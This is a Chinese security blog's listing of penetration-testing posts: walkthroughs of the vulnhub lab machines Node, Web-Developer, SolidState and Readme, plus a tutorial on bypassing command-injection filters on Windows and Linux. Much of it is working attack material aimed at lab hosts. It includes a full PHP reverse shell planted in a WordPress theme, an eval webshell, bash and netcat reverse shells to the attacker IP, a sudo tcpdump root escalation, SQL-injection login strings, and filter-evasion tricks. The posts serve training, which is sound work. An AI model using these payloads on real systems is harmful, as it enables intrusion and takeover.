首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
11,141 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,847 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
5,318 阅读
4
几个常见的密码字典推荐
4,647 阅读
5
全网最全渗透测试靶场推荐【2026最新靶场推荐】,拒绝信息差
4,517 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
189
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
71
篇与
的结果
2025-05-18
提权靶机Node
主机探测 && 80端口探测端口扫描,只开启了3000和22端口,看样子就是要让我们从3000这个端口找22登录的信息访问3000端口的网页向我们新成员问好,一共有三个用户tom,mark,rastating切换到登录界面,sql侏儒万能密码 / 弱口令tom' or 1=1 --+ tom' or 1=1 -- + tom' or 1=1 # tom" or 1=1 # tom" || 1=1 # tom' || 1=1 --+这里意思就是说,MyPlace这个项目的介绍,告诉我们,注册的入口已经关闭了,我们可以查看用户的资料查看用户资料,三个人都是一个信息User xxx are still not completed, check back later to learn more about mark!用户界面的sql注入cookie伪造,利用cookie伪造,可以绕过前端验证的cookie找到app.js,暴露了所有的路由信息,但是没啥用基本都访问过了我们看看接口信息有一个/api/users访问,信息泄露了[ {"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true}, {"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false}, {"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false}, {"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false} ]识别一下吧,hash-identifier是一个hash值的识别工具https://www.cmd5.com/ 丢进去一个一个解密,只有第四个用户没有解出来myP14ceAdm1nAcc0uNT :manchestertom :spongebobmark :snowflake有了账号密码,还可以测试ssh连接,刚开始端口扫描的时候是有一个22端口ssh的管理员 myP14ceAdm1nAcc0uNT 成功页面不清楚这是什么文件嘞换一个用户 tom那么只能从管理员用户的那个backup文件下手了查看文件内容,疑似base64重定向到一个zip文件,解压的时候,提示我们输入密码,看样子这就是一个备份的zip文件利用fcrackzip使用kali自带的字典破解zip压缩包切换到目录下,看样子应该是网站的源码了版本信息,包含了express.js版本和mongodb版本查看app.js泄露了数据库的密码盲猜ssh密码和数据库密码一模一样,登录成功内核信息收集漏洞检索,发现几个可能的内核提权漏洞复制到当前目录 searchsploit -m 编号开启http服务下载命令检查wget 192.168.111.128:8000/44300.c wget 192.168.111.128:8000/44298.c wget 192.168.111.128:8000/40049.c wget 192.168.111.128:8000/40871.c将四个文件传到靶机上进行编译,一个一个尝试,编译失败也不要紧,就换一个exp,最后得到44298.c这个exp能提权成功本靶机主要是前端express.js编写的前端项目,项目打包的源码暴露了api接口的信息,通过访问此api接口,由于后端的过滤不严谨,造成的信息泄露,进而获取了目标的权限往期推荐【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏ATK&CK红日靶场二,Weblogic漏洞利用,域渗透攻略【内网渗透】免工具,内网、域内信息收集的40种方式总结【渗透测试】ATT&CK靶场一,phpmyadmin,域渗透,内网横向移动攻略【渗透测试】Linux隐身登录
2025年05月18日
904 阅读
0 评论
0 点赞
2025-05-18
WEBDEVELOPER,tcpdump提权
【oscp】WEBDEVELOPER,tcpdump提权本次靶机为web-developer靶机下载地址:https://www.vulnhub.com/entry/web-developer-1,288/常规操作,主机发现,80快速探测全端口syn扫描,从扫描结果来看,本次靶机考验的是利用80网页的信息尝试登录sshdirb目录扫描,看目录结构是一个wordpress的网页应用程序可能存在的用户wordpress版本信息,4.9.8利用msf的top100的密码字典,进行爆破(失败)wpscan --url http://192.168.111.201/ -e u -P /usr/share/metasploit-framework/data/wordlists/adobe_top100_pass.txt那么就利用版本漏洞,但是这些都是插件类的,无法绕过密码继续信息收集,刚刚目录扫描出来的结果流量分析wordpress登录的时候基本都是post数据包,我们分析post请求的数据包就行了,得到用户和密码,Form item: "log" = webdeveloper / Te5eQg&4sBS!Yr$)wf%(DcAd登录成功版本确实是4.9.8,这时候就可以看刚刚的漏洞检索的结果了(没找到任何信息)尝试修改默认主题 Twenty Seventeen 的404.php,简单理解英文就是不允许修改(因为此主题已经激活了,需要取消激活)点击右上角的切换主题,修改另一个的404.php,是可以修改成功的 <?php @eval($_POST[cmd]);?>切换到主题页面,进行激活一句话木马不行那么就尝试php的反弹shell,源码如下(kali的/usr/share/webshells/php目录下)<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck. set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.111.128'; // CHANGE THIS $port = 6666; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resouRCE($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$stringn"; } } ?>修改404源码后访问任意不存在的文章,即可反弹。例如http://192.168.111.201/index.php/2018/10/30/1111-111112213/这个机器上没有python2,只有3,创建一个交互式shellpython3 -c "import pty; pty.spawn('/bin/bash');"系统信息收集隐藏文件查看,和suid文件的信息收集结果有mysql的进程信息,那么尝试获取mysql的密码ps -aux | grep mysql # 查看进程信息我们切换到网站根目录,查看wordpress的数据库配置文件wp-config.php得到账号密码username : webdeveloper password : MasterOfTheUniversemysql用户表如下,并没有任何的利用信息尝试ssh连接,连接成功sudo -ltcpdump 提权 ,提权失败,TF表示临时文件的意思,需要你手动设置一个可执行的文件COMMAND='/bin/bash' TF="/tmp/shell" # 一个临时的二进制文件 echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root这里要注意一下,捕获流量包的时候,状态是一直停留在这个界面的,抓包超时可以尝试切换一下网卡查看网卡信息命令如下,切换一个网卡eth0,为了查看回显,把命令改为idCOMMAND='id' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root # 这里重新指定了一个网卡为eth0可以看到id输出得结果为root,尝试获取shell把命令修改为 /bin/bashCOMMAND='/bin/bash' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 失败了能够执行命令,但是普通的终端行不通,那么就反弹shellCOMMAND='/bin/bash -i >& /dev/tcp/192.168.111.128/6666 0>&1' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root nc也没有-e选项那么试试如下命令COMMAND='rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.111.128 6666 >/tmp/f' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 反弹成功但是无法执行命令都不行的话,那么还记得我们之前修改的那个404.php,反弹shell的文件嘛COMMAND='php /var/www/html/wp-content/themes/twentyfifteen/404.php' TF="/tmp/shell" echo "$COMMAND" > $TF chmod +x $TF sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z $TF -Z root 提权成功!这个靶场主要是泄露了大鲨鱼的流量包,造成密码信息泄露,然后通过修改主题文件的php文件,反弹shell,然后通过正在运行的mysql服务,查看站点的mysql密码,进一步猜测ssh密码就是mysql的密码,最后通过sudo+tcpdump进行提权。往期推荐【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结Linux中Find命令也能提权?提权方式一文通透【渗透测试】Linux隐身登录
2025年05月18日
1,091 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机SolidState
【oscp】SolidState,计划任务提权靶场地址:https://www.vulnhub.com/entry/solidstate-1,261/发布日期:2018年9月12日目标:得到root权限&找到flag.txt主机探测,端口扫描一些端口介绍:(22,80忽略)25 端口:SMTP服务,用于发送电子邮件的协议110 端口:pop3是用于接收电子邮件的协议119 端口:是用于传输和读取Usernet新闻组文章的协议。4445 端口:是 JAMES 邮件服务器的远程管理接口,允许管理员通过命令行或Web界面管理邮件服务器的配置,包括用户管理、域名管理、邮件箱管理等。访问网页目录扫描这里是需要用到一个命令,来连接邮件服务器,指定好端口4555,然后使用弱口令root / root 进行登录,再使用help查看命令帮助telnet 是一个用于远程登录和管理服务器的网络协议和命令行工具。它允许用户通过网络连接到远程主机,并在该主机上执行命令。telnet 通常使用端口 23 进行通信,但也可以指定其他端口。listusers 用于显示现有的账户信息,但是我们不知道密码信息,就无法登录pop3邮件服务器,查看电子邮件内容user: james user: thomas user: john user: mindy user: mAIladmin设置(重置)密码setpassword james 123 setpassword thomas 123 setpassword john 123 setpassword mindy 123 setpassword mAIladmin 123登录我们的pop3服务器,用户james的邮件信息同理其他用户都这样查看,下面是john的邮件内容下面是mindy用户的第二封邮件翻译一下看看,这个就是 mindy 用户的ssh密码了username: mindy pass: P@55W0rd1!2@ssh登录后,但是发现系统对这个用户做出了命令执行的一些限制当前目录下有一个user.txt,包含了一个hash值,使用hash-identifierhash识别工具,识别这个加密的类型,但是没有识别到尝试逃逸shell,其他详细的逃逸过程可以参考我这篇文章https://mp.weixin.qq.com/s/YS3lNhIE5V5kFlBLxS49xA这里的逃逸是要用到 pythonssh username@IP "export TERM=xterm;python -c 'import pty;pty.spawn("/bin/bash")'"信息收集uname -a cat /etc/os-release # 没有lsb_release -a命令可以使用这个代替查看计划任务cat /etc/crontab查看文件权限为777的文件信息,不是root用户也能修改并执行文件,那如果这是个root用户设置的一个定时程序呢?查看py脚本内容看看nc 有没有-e参数,结果是有的nc 中的 -e 参数在 Netcat (nc) 中用于指定一个程序,使得 Netcat 在建立连接后执行该程序,并将 Netcat 的标准输入、输出和错误重定向到该程序。这个参数通常用于创建反向shell或监听shell。那么py脚本的内容就如下,来反弹shell#!/usr/bin/env python import os import sys try: os.system('nc 192.168.209.130 6666 -e /bin/bash') except: sys.exit()注意:如果重定向了,过了一会儿没有反弹成功,要么重新连接一次,就像这样这下就能反弹成功了,找到root.txt文件如果直接执行py文件的话,是以当前用户执行的,例如可以看到当前用户为 mindy往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,095 阅读
0 评论
0 点赞
2025-05-18
稀有靶机-Readme
这个靶机网上的演示很少很少,唯一一篇csdn文章也没有写详细,就是第二个用户的密码是靠汇编的知识获取到的,而他就直接写了个密码,怎么获取的都没写出来,https://blog.csdn.net/2301_79316009/article/details/140642836这个问题很大,希望原作者能修改修改我这里提到了,唯一盲点就是fixed.nasm的编写,很懵,回头一定恶补靶机链接:https://www.vulnhub.com/entry/readme-1,336/主机发现80探测访问网页端口扫描的mysql服务拒绝连接,说明没有开启远程连接目录扫描php版本reminder.php,这里有一个人名 Julian,告诉我们有一个txt文件Also, can you fix this search box? Sometimes it chucks errors depending on what I enter... I'd do it myself, but I've been busy trying to create some code to enable us to securely store our passwords, seeing as you keep forgetting yours... The encoder seems completely borked though. 大致意思就是,这个输入框会报一些错误,让你修复测一测sql注入,sql语法错误,存在sql注入漏洞,但是没有回显啊,放弃了sqlmap结果看另外一个文件,有一个adminermysql服务失效使用内网地址,不允许连接到mysql服务器返回有一个图片的地方,源码泄露了一个路径访问路径文件内容ssh用户julian密码爆破的结果漏洞检索,也没有结果连接靶机的mysql不行,那么连接你攻击机的mysql呢?将你得mysql服务器(kali)开启远程连接,将这一行注释掉vim /etc/mysql/mariadb.conf.d/50-server.cnf重启mysqlsudo service mysql restart设置mysql密码,并登录sudo mysqladmin -u root password 'root' mysql -u root -h 192.168.111.128 -p # 输入你得密码创建登录数据库,新加一个数据create database test; # 创建一个test数据库 use test # 切换到test数据库 create table demo(id int,name text); # 创建一个普通的表 insert into demo values(1,'demofefhkhakfh'); # 添加任意数据 select * from demo; +------+----------------+ | id | name | +------+----------------+ | 1 | demofefhkhakfh | +------+----------------+ 1 row in set (0.000 sec)这里我们就能进行远程连接了连接成功这里再结合之前暴露出来的路径信息执行如下命令load data local infile "/etc/julian.txt" into table demo;为空,检查一下原因设置一下local_infileSET GLOBAL local_infile = true; SHOW GLOBAL VARIABLES LIKE 'local_infile';检查secure_file_privSHOW GLOBAL VARIABLES LIKE 'secure_file_priv';这些都没问题,就是sql语句错了,可以看看这篇老外写的文章https://rastating.github.io/readme-walkthrough/正确的sql语句因该如下才对(和原来的对比就是少了个字段)# 原失败的sql语句 load data local infile "/etc/julian.txt" into table demo; # 成功的sql语句,这里设置了一个终止符,并且添加了一个指定字段的分隔符 load data local infile '/etc/julian.txt' into table test.demo fields terminated by "n";同理,包含/etc/passwd,也可以成功sql语句如下load data local infile '/etc/passwd' into table test.demo fields terminated by "n";但是包含了passwd文件,并没有julian这个用户,可能显示上限了吧,用密码登录一下,和上面对比,验证了我们刚刚的结论I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh漏洞利用原理自行查看,这篇文章写的不错:https://wiki.96.mk/Web%E5%AE%89%E5%85%A8/Adminer/Adminer%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E/登录成功后,信息收集识别hash类型,是MD5sudo再切换用户的目录,有一个poc.c,编译一下开启了http服务,看样子有防火墙继续信息收集端口和进程信息suid文件历史命令那还能咋办嘞,c的源码是有的,我们可以直接将c的源码复制到kali进行编译就行,先分析一下源码吧,基本的信息收集已经没有什么可以利用的了,这里需要将这个 poc 编译,还有那个 payload.bin来获取密码 payload.bin:一个包含了 shellcode, 和 tatham用户的密码信息 poc.c :一个需要放置shellcode并运行他的文件 #include <stdio.h> #include <string.h> int main(void) { unsigned char code[] = ""; void (*s)() = (void *)code; s(); return 0; }在kali中报了如下错误依次执行如下命令即可dpkg --add-architecture i386 apt-get update apt-get install libc6-dev-i386编译成功这里又要用到反汇编了,完整的poc.c如下这里要用到gdb调试工具自动解码还有手动解码,两种方法,计算shellcode的原始十六进制字节,然后生成一个fixed.nasm有效载荷,这个文件的内容如下,这个文件的编写(这个文件内容如何编写的,这就涉及到知识盲区了,太菜了,不会逆向),可以参考如下文章,关于这个靶机,网上的资料太少太少了https://rastating.github.io/readme-walkthrough/global _start section .text _start: ; set the frame pointer mov ebp, esp ; clear required registers xor eax, eax xor ebx, ebx xor ecx, ecx xor edx, edx ; push encoded password onto stack push 0x7f7f1312 push 0x157b2f22 push 0x13247312 push 0x087b0423 push 0x73287022 push 0x30280912 push 0x3b162f20 push 0x360e1919 push 0x157b0913 push 0x757b0960 push 0x70167510 push 0x2d162f25 push 0x73241923 push 0x09167527 push 0x1a772b0c push 0x37787217 ; calculate size of password and store in $ecx lea ecx, [ebp] sub ecx, esp ; begin xor on the encoded password decode_loop: ; if at dword 12, xor with F lea edx, [0x14] cmp ecx, edx jz xor_f ; if at dword 11, xor with E lea edx, [0x18] cmp ecx, edx jz xor_e ; if at dword 10, xor with E lea edx, [0x1c] cmp ecx, edx jz xor_e ; if at dword 9, xor with B lea edx, [0x20] cmp ecx, edx jz xor_b ; if at dword 8, xor with D lea edx, [0x24] cmp ecx, edx jz xor_d ; if at dword 7, xor with 4 lea edx, [0x28] cmp ecx, edx jz xor_4 ; if at dword 6, xor with E lea edx, [0x2c] cmp ecx, edx jz xor_e ; if at dword 3, xor with D lea edx, [0x38] cmp ecx, edx jz xor_d ; if at none of the unique indexes ; xor with A. jmp xor_a short_loop_jmp: jmp decode_loop xor_f: lea ebx, [0x41414146] jmp xor_eof xor_e: lea ebx, [0x41414145] jmp xor_eof xor_b: lea ebx, [0x41414142] jmp xor_eof xor_d: lea ebx, [0x41414144] jmp xor_eof xor_4: lea ebx, [0x41414134] jmp xor_eof xor_a: lea ebx, [0x41414141] jmp xor_eof xor_eof: lea eax, [ebp] sub eax, ecx xor [eax], ebx sub dword [eax], 0x01010101 sub ecx, 0x4 xor eax, eax cmp ecx, eax jnz short_loop_jmp int3 int3 int3 int3依次执行,会生成一个a.out文件,该文件是修复后的可执行文件,我们使用gdb运行它启动此文件就好了,并查看这个xor_eof()函数反汇编信息查看寄存器状态,并使用格式说明符(查看内存的内容,并且提供了不同的格式和选项来指定如何显示这些内容)基本用法如下x/<n><f> <address> n 是要显示的单元数量(可选),表示要查看多少个内存单元。 f 是格式说明符,可以用来指定数据类型或格式。 <address> 是你想要查看的内存地址。 格式说明符在 x/ 命令中使用的格式说明符可以包括: b:以字节(byte)为单位显示。 h:以半字(short)为单位显示,通常为 2 字节。 w:以单字(word)为单位显示,通常为 4 字节(在某些平台上可能不同)。 g:以双字(double word)为单位显示,通常为 8 字节。 s:以字符串的形式显示,通常以 null 结尾。 f:以浮点数格式显示(比如 float 或 double)。 i:以指令的格式显示,适用于机器指令。 例子 查看从某个地址开始的 10 个字节:x/10b 0x08048000 查看从某个地址开始的 5 个整型(常用 4 字节)值:x/5w 0x08048000 以字符串形式查看从某个地址开始的内容:x/s 0x08048000 查看机器指令i,和s一个一个试试,会找到一个base编码我们解码看看,这不就是我们要的密码嘛密码:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE往期推荐【oscp】Blender软件的信息泄露---VulnOSv2【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了HTB-Chemistry靶机渗透教程【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【kali笔记】shodan常见的20种基本使用方法,信息收集必备
2025年05月18日
1,370 阅读
0 评论
0 点赞
2025-05-18
从0-1讲解RCE漏洞绕过,Windows与LinuxRCE漏洞绕过实战解析
从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了Windows/Linux的常见命令以及命令执行漏洞的绕过方式,靶场环境为CTFhub,分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤,这几种绕过方式Windows我们在Windows命令行中执行命令的时候,是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前,此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 在命令中"在^之后,且带有参数,则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令,net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%cmd% yv\administrator 这个0,1表示的数组切片,代表前后切片的索引C:\>set cmd=whoami C:\>echo %cmd:~0,1% w C:\>echo %cmd:~0,4% whoa 也可以为负数,负数表示从右边开始数第几个C:\>set cmd=whoami C:\>echo %cmd:~-4,4% oami C:\>echo %cmd:~-6,4% whoa 当然也能直接向外部写一个php一句话木马检查是否存在for循环执行命令C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!" C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4! C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4! yv\administrator LinuxLinux中是区分大小写的┌──(root㉿251ebe86465a)-[/] └─# LS LS: command not found ┌──(root㉿251ebe86465a)-[/] └─# Ls Ls: command not found 运算符;表示连续指令,即使前面那条命令报错,后面也会接着执行┌──(root㉿251ebe86465a)-[/] └─# LS;whoami LS: command not found root & 用于后台执行命令,这个可能看不出来┌──(root㉿251ebe86465a)-[/] └─# ls&wHoami [1] 59 archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr Command 'Whoami' not found, did you mean: command 'whoami' from deb coreutils Try: apt install <deb name> [1]+ Done ls --color=auto 我们使用ping 127.0.0.1 & whoami,这条命令会将ping放在后台执行,这个时候你没有设置ping的次数,就会一直执行下去,停止不了,而whoami已经执行完毕了。┌──(root㉿Kali)-[/usr/local] └─# ping 127.0.0.1& whoami [1] 4508 root PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms ┌──(root㉿Kali)-[/usr/local] └─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms 64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms 64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms --------之后将会一直运行下去,也停止不了。。。。 &&连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了┌──(root㉿251ebe86465a)-[/] └─# ls&&whoami archive-key.asc boot etc lib lib64 mnt proc run srv tmp var bin dev home lib32 media opt root sbin sys usr root ┌──(root㉿251ebe86465a)-[/] └─# LS&&whoami LS: command not found |管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。例如,我获取这个/data路径的下的所有包含boo的文件┌──(root㉿251ebe86465a)-[/] └─# ls | grep '*boo*' boot ||逻辑运算符:如果||左边的命令执行失败(返回非零退出状态),那么||右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。┌──(root㉿251ebe86465a)-[/] └─# ip addr || wHoami || ls 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever 5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0 inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever 转义字符\┌──(root㉿251ebe86465a)-[/] └─# who\ami root '',(),$,``┌──(root㉿251ebe86465a)-[/] └─# who''ami root ┌──(root㉿251ebe86465a)-[/] └─# (whoami) root ┌──(root㉿251ebe86465a)-[/] └─# (who''ami) root ┌──(root㉿251ebe86465a)-[/] └─# `(echo whoami)` root ┌──(root㉿251ebe86465a)-[/] └─# $(echo whoami) root 命令引用┌──(root㉿Kali)-[/data] └─# t=l;j=s;$t$j #相当于执行了 ls 谷歌插件 GitHack miku Linux特有变量$1,$*,$@,$n这个n表示除0以外的任意数字,都可以作为系统命令绕过的方式┌──(root㉿Kali)-[/data] └─# who$2ami root 